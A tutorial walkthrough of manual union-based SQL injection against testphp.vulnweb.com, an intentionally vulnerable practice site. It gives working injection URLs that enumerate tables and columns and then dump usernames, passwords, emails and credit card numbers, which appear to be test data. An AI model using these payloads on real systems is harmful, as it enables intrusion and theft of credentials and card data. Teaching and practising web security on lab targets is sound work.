In this post I’ll be performing a manual SQL Injection attack on an intentionally vulnerable website vulnweb.com
Open given below targeted URL in the browser
http://testphp.vulnweb.com/artists.php?artist=1
So here we are going test SQL injection for “id=1″
Now use error base technique by adding an apostrophe (‘) symbol at the end of input which will try to break the query.
testphp.vulnweb.com/artists.php?artist=1'
In the given screenshot you can see we have got an error message which means the running site is infected by SQL injection.
Now using ORDER BY keyword to sort the records in ascending or descending order for id=1
http://testphp.vulnweb.com/artists.php?artist=1 order by 1
Similarly repeating for order 2, 3 and so on one by one
http://testphp.vulnweb.com/artists.php?artist=1 order by 2
http://testphp.vulnweb.com/artists.php?artist=1 order by 4
From the screenshot, you can see we have got an error at the order by 4 which means it consists only three records.
Let’s penetrate more inside using union base injection to select statement from a different table.
http://testphp.vulnweb.com/artists.php?artist=1 union select 1,2,3
From the screenshot, you can see it is show result for only one table not for others.
Now try to pass wrong input into the database through URL by replacing artist=1 from artist=-1 as given below:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3
Hence you can see now it is showing the result for the remaining two tables also.
Use the next query to fetch the name of the database
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,database(),3
From the screenshot, you can read the database name acuart
Next query will extract the current username as well as a version of the database system
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,version(),current_user()
Here we have retrieve 5.1.73 0ubuntu0 10.04.1 as version and acuart@localhost as the current user
Through the next query, we will try to fetch table name inside the database
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1
From the screenshot you read can the name of the first table is artists.
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1
From the screenshot you can read the name of the second table is carts.
Similarly, repeat the same query for another table with slight change
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 2,1
We got table 3: categ
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1
We got table 4: featured
Similarly repeat the same query for table 4, 5, 6, and 7 with making slight changes in LIMIT.
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 7,1
We got table 7: users
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 8,1
Since we didn’t get anything when the limit is set 8, 1 hence there might be 8 tables only inside the database.
the concat function is used for concatenation of two or more string into a single string.
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
From screen you can see through concat function we have successfully retrieved all table name inside the
database.
Table 1: artist Table 2: Carts Table 3: Categ Table 4: Featured Table 5: Guestbook Table 6: Pictures Table 7: Product Table 8: users
Maybe we can get some important data from the users table, so let’s penetrate more inside. Again Use the concat function for table users for retrieving its entire column names.
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
Awesome!! We successfully retrieve all eight column names from inside the table users.
Then I have chosen only four columns i.e. uname, pass, email and cc for further enumeration.
Use the concat function for selecting uname from table users by executing the following query through URL
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(uname),3 from users
From the screenshot, you can read uname: test
Use the concat function for selecting pass from table users by executing the following query through URL
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(pass),3 from users
From the screenshot, you can read pass: test
Use the concat function for selecting cc (credit card) from table users by executing the following query through URL
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(cc),3 from users
From the screenshot, you can read cc: 1234-5678-2300-9000
Use the concat function for selecting email from table users by executing the following query through URL
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,group_concat(email),3 from users
From the screenshot, you can read email: [email protected]
Enjoy hacking!!
If u face any kind of issue or need some help in it’s additional features,feel free to leave a comment or directly connect with me on my Instagram handle,my mail or my WhatsApp group…..details of which are mentioned on my home page 🤗
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